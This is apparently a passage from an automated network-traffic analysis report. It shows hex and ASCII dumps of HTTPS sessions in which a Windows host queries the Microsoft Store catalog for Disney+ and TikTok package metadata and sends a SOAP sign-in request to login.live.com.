22 3a 31 39 30 33 35 39 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 
31 30 38 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 35 22 2c 22 49 6d 
61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 
53 48 41 32 35 36 48 61 73 68 22 3a 22 54 4d 70 39 37 77 6b 63 53 51 6c 45 33 43 78 68 34 71 73 4c 61 42 46 62 62 42 
4b 4e 48 41 32 48 39 36 4e 6f 6a 4b 6a 2f 30 7a 34 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 
73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 
Data Ascii: arent","Caption":"","FileSizeInBytes":1903595,"ForegroundColor":"","Height":1080,"ImagePositionInfo":"Deskto
p/5","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"TMp97wkcSQlE3Cxh4qsLaBFbbBKNHA2H96NojKj/
0z4=","Uri":"//store-images.s-microsoft.com/ima

2021-11-25 16:28:37 UTC 1301 IN Data Raw: 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 
61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 
30 35 37 31 39 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 32 31 36 
30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 58 62 6f 78 2f 36 22 2c 22 49 6d 61 67 65 50 75 72 
70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 
48 61 73 68 22 3a 22 4e 32 77 69 45 4a 51 4c 61 71 73 69 53 55 45 43 42 54 54 50 46 35 79 70 57 69 43 32 41 33 45 6f 7
7 2b 43 41 39 55 53 6a 30 43 34 3d 22 2c 22 55 72 69 22 3a 22 2f 
Data Ascii: fier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3057195,"ForegroundColor":"","Heig
ht":2160,"ImagePositionInfo":"Xbox/6","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"N2wiEJQ
LaqsiSUECBTTPF5ypWiC2A3Eow+CA9USj0C4=","Uri":"/

2021-11-25 16:28:37 UTC 1305 IN Data Raw: 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 
5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 
55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 
22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2
c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 2c 22 4d 61 72 6b 65 74 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 52 65 6c 61 
74 65 64 50 72 6f 64 75 63 74 73 22 3a 5b 5d 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 7d 5d 2c 22 50 72 6f 64 
75 63 74 41 53 63 68 65 6d 61 22 3a 22 50 72 6f 64 75 63 74 3b 33 
Data Ascii: GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH"
,"ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[]
,"Markets":["US"]}],"ProductASchema":"Product;3
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2021-11-25 16:28:37 UTC 1309 IN Data Raw: 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 
22 3a 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 6c 
6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 2c 22 
57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 32 32 65 30 63 65 37 66 2d 34 32 37 61 2d 34 30 66 61 2d 62 66 61 36 2d 3
0 64 65 37 62 38 35 35 34 38 34 30 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 44 69 73 6e 65 
79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 53 6b 75 49 64 22 3a 
22 30 30 31 30 22 7d 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 54 79 70 
Data Ascii: M","ME","VA","NEUTRAL"]}],"ProductId":"9NXQXXLFST89","Properties":{"FulfillmentData":{"ProductId":
"9NXQXXLFST89","WuCategoryId":"22e0ce7f-427a-40fa-bfa6-0de7b8554840","PackageFamilyName":"Disney.378
53FC22B2CE_6rarf9sa4v8jt","SkuId":"0010"},"FulfillmentTyp

2021-11-25 16:28:37 UTC 1313 IN Data Raw: 74 53 65 72 76 65 72 22 2c 22 68 65 76 63 50 6c 61 79 62 61 63 6b 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 
49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 38 31 38 34 37 35 
32 32 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 31 32 34 36 37 39 36 38 2c 22 50 
61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 2
2 3a 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 36 72 61 72 66 39 73 61 34 76 38 6a 74 22 2c 22 
4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 
67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 44 69 73 6e 65 79 2e 33 37 
Data Ascii: tServer","hevcPlayback"],"ExperienceIds":[],"MaxDownloadSizeInBytes":81847522,"MaxInstallSizeInByt
es":112467968,"PackageFormat":"Msix","PackageFamilyName":"Disney.37853FC22B2CE_6rarf9sa4v8jt","MainP
ackageFamilyNameForDlc":null,"PackageFullName":"Disney.37

2021-11-25 16:28:37 UTC 1317 IN Data Raw: 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 
7d 2c 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 4d 69 6e 56 65 72 
73 69 6f 6e 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 
69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 
42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 
36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 
6b 61 67 65 49 64 5c 22 3a 5c 22 44 69 73 6e 65 79 2e 33 37 
Data Ascii: 977536,"PlatformName":"Windows.Xbox"},{"MaxTested":2814751014977536,"MinVersion":2814751
014977536,"PlatformName":"Windows.Desktop"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\
"content.isMain\":false,\"content.packageId\":\"Disney.37

2021-11-25 16:28:37 UTC 1321 IN Data Raw: 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 
66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 2c 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 
65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 
56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 
72 67 65 74 5c 22 3a 33 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 
3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 
73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 
Data Ascii: minVersion\":2814751014977536,\"platform.target\":5},{\"platform.maxVersionTested\":28147510149775
36,\"platform.minVersion\":2814751014977536,\"platform.target\":3}],\"content.type\":7,\"policy\":{\"category.first\":\"
app\",\"category.second\":\"Entertain

2021-11-25 16:28:37 UTC 1325 IN Data Raw: 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 
22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 44 65 73 6b 74 6f 70 22 7d 2c 7b 22 4d 61 78 56 
65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 
6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 
31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 
22 57 69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 39 38 2d 31 32 
2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 
Data Ascii: xVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.Desktop"},{"MaxVersion":2147483647,"Mi
nVersion":0,"PlatformName":"Windows.Xbox"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.882
8080"}]},"EndDate":"9998-12-30T00:00:00.0000000

2021-11-25 16:28:37 UTC 1329 IN Data Raw: 6d 61 79 20 76 61 72 79 20 62 79 20 72 65 67 69 6f 6e 2e 20 53 6f 6d 65 20 74 69 74 6c 65 73 20 73 68 6f 77 
6e 20 61 62 6f 76 65 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 20 69 6e 20 79 6f 75 72 20 63 6f 75 
6e 74 72 79 2e 5c 72 5c 6e 22 2c 22 53 6b 75 54 69 74 6c 65 22 3a 22 44 69 73 6e 65 79 2b 22 2c 22 4c 61 6e 67 75 61 
67 65 22 3a 22 65 6e 2d 75 73 22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 2c 22 44 5a 22 2c 22 41 52 22 2c 22 
41 55 22 2c 22 41 54 22 2c 22 42 48 22 2c 22 42 44 22 2c 22 42 45 22 2c 22 42 52 22 2c 22 42 47 22 2c 22 43 41 22 2c 2
2 43 4c 22 2c 22 43 4e 22 2c 22 43 4f 22 2c 22 43 52 22 2c 22 48 52 22 2c 22 43 59 22 2c 22 43 5a 22 2c 22 44 4b 22 2c 2
2 45 47 22 2c 22 45 45 22 2c 22 46 49 22 2c 22 46 52 22 2c 22 44 
Data Ascii: may vary by region. Some titles shown above may not be available in your country.\r\n","SkuTitle":"Disney+",
"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR",
"CY","CZ","DK","EG","EE","FI","FR","D

2021-11-25 16:28:37 UTC 1333 IN Data Raw: 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 
33 36 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 31 30 31 34 39 37 37 35 33 36 2c 22 50 6c 61 74 66 6f 
72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 58 62 6f 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 
65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 
34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 
65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 44 69 73 6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 
31 2e 32 31 2e 36 2e 37 30 5f 61 72 6d 36 34 5f 5f 36 72 61 72 
Data Ascii: ncies":[{"MaxTested":2814751014977536,"MinVersion":2814751014977536,"PlatformName":"Windows.Xbox"}
],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"content.isMain\":false,\"content.packageId
\":\"Disney.37853FC22B2CE_1.21.6.70_arm64__6rar

2021-11-25 16:28:37 UTC 1337 IN Data Raw: 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 
70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 
61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 45 6e 74 65 72 74 61 69 6e 6d 65 6e 
74 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 
4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 
3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 33 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 74 72 75 65 2c 5c 22 
74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 
Data Ascii: \"platform.target\":5}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"Entertainment\
",\"optOut.backupRestore\":false,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":3,\"optOut.DVR\":true,\"th
irdPartyAppRating
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2021-11-25 16:28:37 UTC 1341 IN Data Raw: 65 6c 5c 22 3a 36 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 
65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 
50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 
22 61 66 37 62 31 35 37 62 2d 30 32 39 36 2d 34 62 39 30 2d 39 64 63 62 2d 38 64 64 33 38 66 34 33 35 34 66 31 22 2c 
22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 32 32 65 30 63 65 37 66 2d 34 32 37 61 2d 34 30 66 61 2d 62 66 61 36 2
d 30 64 65 37 62 38 35 35 34 38 34 30 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 44 69 73 
6e 65 79 2e 33 37 38 35 33 46 43 32 32 42 32 43 45 5f 36 72 61 72 66 
Data Ascii: el\":67,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9NXQXXLFST
89","WuBundleId":"af7b157b-0296-4b90-9dcb-8dd38f4354f1","WuCategoryId":"22e0ce7f-427a-40fa-bfa6-0de7b8554840",
"PackageFamilyName":"Disney.37853FC22B2CE_6rarf

2021-11-25 16:28:37 UTC 1345 IN Data Raw: 22 52 65 63 75 72 72 65 6e 63 65 50 6f 6c 69 63 79 22 3a 6e 75 6c 6c 7d 2c 22 41 76 61 69 6c 61 62 69 6c 69 
74 69 65 73 22 3a 5b 7b 22 41 63 74 69 6f 6e 73 22 3a 5b 22 44 65 74 61 69 6c 73 22 2c 22 46 75 6c 66 69 6c 6c 22 5d 2c 
22 41 76 61 69 6c 61 62 69 6c 69 74 79 41 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 3b 33 22 2c 
22 41 76 61 69 6c 61 62 69 6c 69 74 79 42 53 63 68 65 6d 61 22 3a 22 41 76 61 69 6c 61 62 69 6c 69 74 79 55 6e 69 66 
69 65 64 41 70 70 3b 33 22 2c 22 41 76 61 69 6c 61 62 69 6c 69 74 79 49 64 22 3a 22 42 35 30 38 5a 48 4b 51 4e 53 37 
53 22 2c 22 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 43 6c 69 65 6e 74 43 6f 6e 64 69 74 69 6f 6e 73 22 3a 7b 22 41 6c 
6c 6f 77 65 64 50 6c 61 74 66 6f 72 6d 73 22 3a 5b 7b 22 4d 61 78 
Data Ascii: "RecurrencePolicy":null},"Availabilities":[{"Actions":["Details","Fulfill"],"AvailabilityASchema":"Availability;3","Av
ailabilityBSchema":"AvailabilityUnifiedApp;3","AvailabilityId":"B508ZHKQNS7S","Conditions":{"ClientConditions":{"Allowed
Platforms":[{"Max

2021-11-25 16:28:37 UTC 1348 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.4 49727 20.190.159.137 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:31 UTC 25 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2021-11-25 16:27:31 UTC 25 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 
73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 
65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 
6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 
73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2021-11-25 16:27:31 UTC 40 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Thu, 25 Nov 2021 16:26:31 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 45d850ef-5412-45d0-a373-3b2531650de9
PPServer: PPV: 30 H: BL02EPF0000184A V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Thu, 25 Nov 2021 16:27:31 GMT
Connection: close
Content-Length: 2004

2021-11-25 16:27:31 UTC 41 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP Destination Port Process

30 192.168.2.4 49833 20.54.110.249 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:37 UTC 1348 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=BytedancePte.Ltd.TikTok_6yccndn6064se&
market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=
Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: C0pNie8fRkGNNLym.0.2.4
Host: displaycatalog.mp.microsoft.com

2021-11-25 16:28:38 UTC 1348 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Nov 2021 16:28:37 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 5254f364-d5e8-470d-8509-fc7891c454bc
MS-RequestId: 7da5bfdf-054a-4815-9edf-4c9b7a65c75c
MS-CV: C0pNie8fRkGNNLym.0.2.4.2955977327.0.1.2955977327.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 5
Region: neu
Node: aks-systempool-37630073-vmss00001m
MS-DocumentVersions: 9NH2GPH4JZS4|309

2021-11-25 16:28:38 UTC 1348 IN Data Raw: 62 30 63 32 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 48 32 47 50 48 34 4a 5a 53 34 22 5d 2c 22 48 61 
73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 
66 69 65 64 44 61 74 65 22 3a 22 32 30 32 31 2d 31 30 2d 32 36 54 31 36 3a 32 39 3a 35 32 2e 34 31 39 39 31 38 32 5a 
22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 
5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 33 33 33 34 34 37 30 36 37 38 33 31 36 36 
31 38 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 7
2 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: b0c2{"BigIds":["9NH2GPH4JZS4"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2021-10-26T16
:29:52.4199182Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3033344706783166185","EISListingIdentifier
":null,"BackgroundColor":"transpare

2021-11-25 16:28:38 UTC 1352 IN Data Raw: 31 2e 63 34 35 34 35 37 63 39 2d 62 34 61 66 2d 34 36 62 30 2d 38 65 36 31 2d 38 64 37 63 30 61 65 63 33 
66 35 36 2e 62 34 61 30 64 63 30 37 2d 33 32 31 38 2d 34 63 30 64 2d 39 63 66 62 2d 66 31 64 36 63 64 39 34 62 65 32 
32 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 37 38 30 30 32 31 31 33 36 39 3
1 30 36 36 39 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 
6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 
2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 30 37 33 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 
22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d 61 67 
Data Ascii: 1.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.b4a0dc07-3218-4c0d-9cfb-f1d6cd94be22","Width":66},{"FileId"
:"3067800211369106695","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":3073,"
ForegroundColor":"","Height":88,"Imag

2021-11-25 16:28:38 UTC 1356 IN Data Raw: 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 
3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 
42 79 74 65 73 22 3a 31 33 35 32 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 
74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 
6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 
